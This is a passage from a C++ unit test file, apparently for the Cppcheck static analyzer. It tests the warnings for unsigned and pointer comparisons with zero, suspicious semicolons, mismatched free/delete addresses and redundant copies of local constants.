ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. 